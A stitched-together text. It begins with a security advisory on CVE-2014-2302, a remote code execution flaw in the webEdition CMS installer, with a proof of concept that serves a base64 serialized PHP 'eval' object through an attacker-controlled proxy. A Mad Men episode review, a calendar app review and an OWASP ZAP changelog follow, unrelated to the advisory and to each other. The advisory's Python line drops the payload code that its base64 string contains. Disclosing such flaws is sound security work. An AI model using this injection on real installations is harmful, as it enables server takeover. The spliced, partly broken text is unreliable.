Advisory: Remote Command Execution in webEdition CMS Installer Script

RedTeam Pentesting discovered a remote command execution vulnerability
in the installer script of the webEdition CMS during a penetration test.
If the installer script is not manually removed after installation,
attackers cannot only reinstall webEdition, but also gain remote command
execution.


Details
=======

Product: webEdition CMS
Affected Versions: webEdition OnlineInstaller 2.8.0.0,
                   probably earlier versions, too
Fixed Versions: webEdition 6.2.7-s1 - 6.3.8-s1
Vulnerability Type: Remote Command Execution
Security Risk: high
Vendor URL: http://www.webedition.org
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-004
Advisory Status: published
CVE: CVE-2014-2302
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2302


Introduction
============

"webEdition is a flexible CMS for companies of every size. It offers a
great amount of functionality and can be flexibly customized for
individual needs. It is ideally suited for users who want to operate
their website comfortably. Even the creation of custom web applications
is easily possible with webEdition."

(translated from the webEdition homepage)


More Details
============

The webEdition installation script is not deleted automatically at the
end of the installation, even though it contains code to delete itself.
While an attacker who finds this script could just destructively
reinstall webEdition, it is also possible to use it to gain command
execution unnoticed on an existing webEdition installation.

During installation, the installer first checks whether outgoing
connections can be established by sending the following HTTP request to
update.webedition.org:

GET /server/we/onlineInstallation.php?update_cmd=checkConnection&
     HTTP/1.0
Host: update.webedition.org

The server at update.webedition.org replies with the following HTTP
response, which contains base64-encoded data (formatted and shortened):

HTTP/1.1 200 OK
Date: Mon, 24 Feb 2014 10:34:56 GMT
Server: Apache/2.X.XX
X-Powered-By: PHP/5.X.XX
Connection: close
Content-Type: text/html

YTozOntzOjQ6IlR5cGUiO3M6ODoidGVtcGxhdGUiO3M6ODoiSGVhZGxpbmUiO3M6MzA6Ik9u
bGluZSBJbnN0YWxsZXIgdmVyc2lvbiBjaGVjayI7czo3OiJDb250ZW50IjtzOjM5ODoiCjxk
aXYgY2xhc3M9Im1lc3NhZ2VEaXYiPgpZb3UgYXJlIGN1cnJlbnRseSB1c2luZyBhbiBvbGQg
[...]

By decoding the response body it can be seen that it contains a
serialized PHP object:

a:3:{s:4:"Type";s:8:"template";s:8:"Headline";s:30:"Online Installer
version check";s:7:"Content";s:398:"

You are currently [...]

.";} This PHP object is processed by the installation script based on its "Type" value. One of the "Type" values accepted by the installation script is "eval", leading to the execution of PHP code which can be specified as the value of a field named "Code", that is also part of the serialized object. Using the Python library phpserialize, a PHP object can be crafted, which executes the function phpinfo() when it is received by the installation script: $ python >>> from phpserialize import dumps >>> object = dumps({"Type": "eval", "Code": ""}) >>> object.encode("base64") 'YToyOntzOjQ6IkNvZGUiO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7czo0OiJUeXBlIjtz OjQ6\nImV2YWwiO30=\n' The installer allows the usage of a proxy server, enabling attackers to intercept and arbitrarily modify HTTP requests issued by the installer and the corresponding responses by the host update.webedition.org. By setting a proxy server to use during the installation process which answers all requests with the base64-encoded serialized PHP object, the previously created PHP code is loaded and evaluated by the installation script, which leads to the execution of the attack payload. Due to the proxy server being saved in the HTTP session used by the installation script, execution of the code served by the proxy server can be triggered by opening the following URL: http://www.example.com/OnlineInstaller/setup.php? &leWizard=DownloadInstaller Proof of Concept ================ Use the OnlineInstaller at http://www.example.com/OnlineInstaller/setup.php to configure webEdition to use a system under your control as a proxy server. Configure the proxy to deliver the following file contents for all HTTP requests: YToyOntzOjQ6IkNvZGUiO3M6MTg6Ijw/cGhwIHBocGluZm8oKTs/PiI7czo0OiJUeXBlIjt zOjQ6ImV2YWwiO30= Reopen the following URL: http://www.example.com/OnlineInstaller/setup.php? &leWizard=DownloadInstaller After a redirect, phpinfo() output will be shown. Workaround ========== The OnlineInstaller should be deleted or access to its URLs restricted. Fix === Update to a version with the suffix -s1. Those versions are available as updates for releases between 6.2.7 and 6.3.8. The newest, updated version would therefore be 6.3.8-s1. Note that the version check of webEdition might tell you that there is no update available and that you are running Version "6.3.8 (6.3.8.0 Release, SVN-Revision 6985). It will still tell you that the newest available version is "6.3.8-s1 (6.3.8.0 Release, SVN-Revision 6985)", so you can use the "Update-Repetition" function to get the fix for this vulnerability. Also note that the update does not remove the OnlineInstaller, but modifies the login dialogue to remove the OnlineInstaller instead. You will need to open the login dialogue after installing the update to actually delete the OnlineInstaller. To be on the safe side, check the OnlineInstaller directory manually for any files that still need to be removed. Security Risk ============= Attackers can not only use the OnlineInstaller to destructively reinstall webEdition, but can also run arbitrary code PHP code by setting their own proxy server in the OnlineInstaller and inject content that is used as a parameter for the PHP eval() function. Since this attacker-supplied code is executed on the webEdition server with the privileges of the web server, this is a high risk, especially because the attack is not as easy to detect as a reinstallation of webEdition by an attacker. Timeline ======== 2014-02-20 Vulnerability identified 2014-03-04 Customer approved disclosure to vendor 2014-03-06 CVE number requested and assigned 2014-03-07 Vendor notified 2014-03-10 Vendor acknowledges vulnerability 2014-05-20 Vendor announces fixed versions 2014-05-28 Advisory released References ========== http://www.webedition.org/de/aktuelles/webedition-cms/ Wichtiges-Sicherheitsupdate-fuer-CMS-webEdition-veroeffentlicht (German) http://www.webedition.org/de/aktuelles/webedition-cms/ Wichtige-Hinweise-zum-Sicherheitsupdate (German) RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen

(Mild spoilers) (And yes, I'm later than usual on this episode, but I am writing for the ages, not for a prestige online journal mining the glass-teat afterglow.) This one went by in a rush, and no wonder: It was about the silliest Mad Men episode yet. I mean, forget the ending (for now, we'll get to it) -- this is an episode in which Peggy, transformed into an unbitch by reconciling with father figure Don, not only wins the Big Account but gets a phone number from a nice handsome day-laborer, whom I'm sure bitch-Peggy would have found beneath her. She's even nice to Julio.

Also, upon review Cutler's "You're just a bully and a drunk -- a football player in a suit" is the sort of thing that would have cracked me up on SCTV's The Days of The Week.

On the other hand, two phone calls from Don to the non-Peggy women in his life are bracing and sensible. The lesser of these is the kiss-off with Megan, because that was always a ridiculous relationship, but it was an appropriately low-key way to end it. Better still is his call to Sally, because he's doing what he always does, trying to play sky-God Daddy -- "Don't be so cynical. You want your little brothers to talk that way?" -- and Sally is so clearly over it. She dropped that receiver with authority.

Now to Cooper's exit. I never liked that character or his zen bullshit. I know one of the reasons Weiner wanted Robert Morse for this show was his pedigree as the original J. Pierrepont Finch in How to Succeed in Business Without Really Trying, but before this episode I don't believe they ever really lined that equity up with the actual show. What was Bert Cooper? He was supposed to be old Madison Avenue, but he seemed mostly a dispenser of cracker-barrel wisdom dressed in a fine manner and complex sentences. Maybe he was supposed to be a mix of Leo Burnett's "sodbusting corniness" and the mandarin sleekness of old ad grandees. But he never registered with me as anything but someone everyone had to respect because he'd been around.

This episode attempted to change that, and entirely after Cooper's death. First of all, the climactic partners meeting is really like something out of How to Succeed, or The Solid Gold Cadillac or a dozen other old Broadway business farces. Once we are hustled past the fact that there's no actual contract to vote on, the whole scene's a riot -- with Joan and Pete perched in a corner, dollar signs in their eyes, Don Draper talking Ted Chaough off the ledge, and Cutler's curtain-closing button -- "It's a lot of money" -- worthy of Moss Hart. We're a long way from the existential dread of Don Draper.

So it was easier then to accept Bert appearing in a fantasy sequence, crooning "The Best Things in Life are Free." I'm sure Weiner was thinking of "Brotherhood of Man," the finale of How to Succeed, but that would have been too much of a muchness. As it was the Tin Pan Alley tune was much more to the point. Earlier, when Roger called Don about Cooper's death, he lamented that "the last thing I said to him was the lines to some old song." That was "Let's Have Another Cup of Coffee," a similarly breezy Depression-era number. I took the symmetry to mean that Cooper was meant to be the embodiment of the blithe bullshit on which advertising is based -- the smile and shoeshine that rings cash registers. Advertising is real and rough business, but the giants of it usually had some sense of its fun and absurdity, too, which informs the popular perception of the craft. Don, on the other hand, is deadly serious about it; recall his speech about love and nylons and no tomorrow. Both Cooper and Don are acquainted with hard times, but Cooper has always chosen to float above where Don has wallowed. That's why Cooper's dancing in the afterlife.

For the show's purposes, the important thing -- at least it may be important; we have another delayed-half-season season to go -- is that Don sees him.

Sunrise Calendar supports Google and Apple web calendars natively. The visual design is appealing all around, showing an impressive amount of information in a single screen - check out those weather icons for morning, afternoon, and evening. But the most unique feature is probably the main view, which handily combines a standard calendar view with a scrolling agenda. Individual events are integrated with your contacts, Google Maps, Facebook friends, events and birthdays, and even the dialer app.

The app comes with a home screen agenda widget, and you didn't even have to leave a one-star review to get it. Best of all, Sunrise supports Android's expandable notifications, with quick links to maps or email/phone numbers for relevant contacts. ProspectiveAndroid developers, take note: this is the right way to port an app.You should be able to use Google Calendar on the web and Sunrise on your phone with no issues, butthere's also a web interface for Sunrise, if it strikes your fancy. Support for Exchange calendars and a tablet-specific interface are coming soon, according to the app description.

Download Sunrise Calendar v1.0.0 APK

Changelog v2.3.1

• ZAP changes request data (while switching views) ( Issue 81 )
• Unfulfilled dependencies hang the active scan ( Issue 377 )
• Cant remove scripts marked as ‘load on start’ ( Issue 1073 )
• core.newSession doesn’t clear Sites ( Issue 1114 )
• Historical Request Tab Doesn’t allow formatting changes ( Issue 1155 )
• Proxy gzip decoder doesn’t update content length in response headers ( Issue 1156 )
• Unable to set a home directory with a space on the command line ( Issue 1163 )
• Redundant indexes in zapdb.script ( Issue 1166 )
• Add proxy support for “deflate” content encoding ( Issue 1168 )
• Spider Context/User pop up menus no longer shown ( Issue 1170 )
• Unable to select 2 requests in fuzz results (Ctrl + click) ( Issue 1179 )
• Vulnerable pages active scanned only once ( Issue 1181 )
• Alerts of same type for different parameters of same vulnerable page shown only once in “Alerts” tree ( Issue 1182 )
• NullPointerException while selecting a node in the “Alerts” tab after deleting a message ( Issue 1183 )
• Cmdline session params have no effect ( Issue 1191 )
• Scan URL path elements – turn off by default ( Issue 1193 )
• Command line arguments are not passed to extensions when starting ZAP in daemon mode ( Issue 1194 )
• AbstractPlugin.bingo incorrectly sets evidence to attack ( Issue 1196 )
• Issue with loading addons that did not initialize correctly ( Issue 1202 )
• WordPress Authentication Script ( Issue 1203 )
• ‘History’ tab is not cleared when a new session is created through the API with ZAP in GUI mode ( Issue 1206 )